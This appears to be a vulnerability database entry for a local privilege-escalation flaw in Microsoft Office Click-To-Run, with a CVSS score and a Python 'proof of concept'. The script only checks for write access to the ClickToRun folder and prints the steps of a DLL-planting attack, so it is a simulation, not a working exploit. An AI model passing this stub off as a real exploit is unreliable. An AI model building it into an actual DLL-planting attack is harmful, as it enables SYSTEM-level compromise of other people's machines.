Insufficient granularity of access control in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Click-To-Run (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os
import sys
# Proof of Concept for CVE-2026-35436
# This script simulates the exploitation of insufficient access control granularity
# in Microsoft Office Click-To-Run to achieve local privilege escalation.
def check_vulnerability():
# Target service path (hypothetical for demonstration)
target_path = "C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\"
print("[*] Checking for CVE-2026-35436 vulnerability...")
print(f"[*] Target path: {target_path}")
# Check if current user has write access where they shouldn't
# In a real exploit, this would involve creating a malicious file or DLL
try:
# Simulate checking write permissions or exploiting weak ACLs
if os.access(target_path, os.W_OK):
print("[+] Vulnerability confirmed: Write access detected on restricted directory.")
print("[!] An attacker could place a malicious payload here to be executed by the service.")
return True
else:
print("[-] Write access denied. System may be patched or not vulnerable.")
return False
except Exception as e:
print(f"[-] Error occurred during check: {e}")
return False
def exploit_simulation():
# This section represents the logical steps of the exploit
print("[*] Attempting to simulate privilege escalation...")
# 1. Attacker creates a malicious DLL or configuration file
malicious_file = "exploit.dll"
print(f"[*] Crafting malicious file: {malicious_file}")
# 2. Attacker leverages the access control flaw to place the file
# (This would succeed if check_vulnerability returned True)
print("[*] Copying malicious file to Click-To-Run directory via weak ACLs...")
# 3. Wait for service restart or trigger update
print("[*] Waiting for Click-To-Run service to restart or trigger update...")
print("[!] If successful, code execution would occur with SYSTEM privileges.")
if __name__ == "__main__":
if check_vulnerability():
exploit_simulation()
else:
print("[!] Exploit simulation aborted.")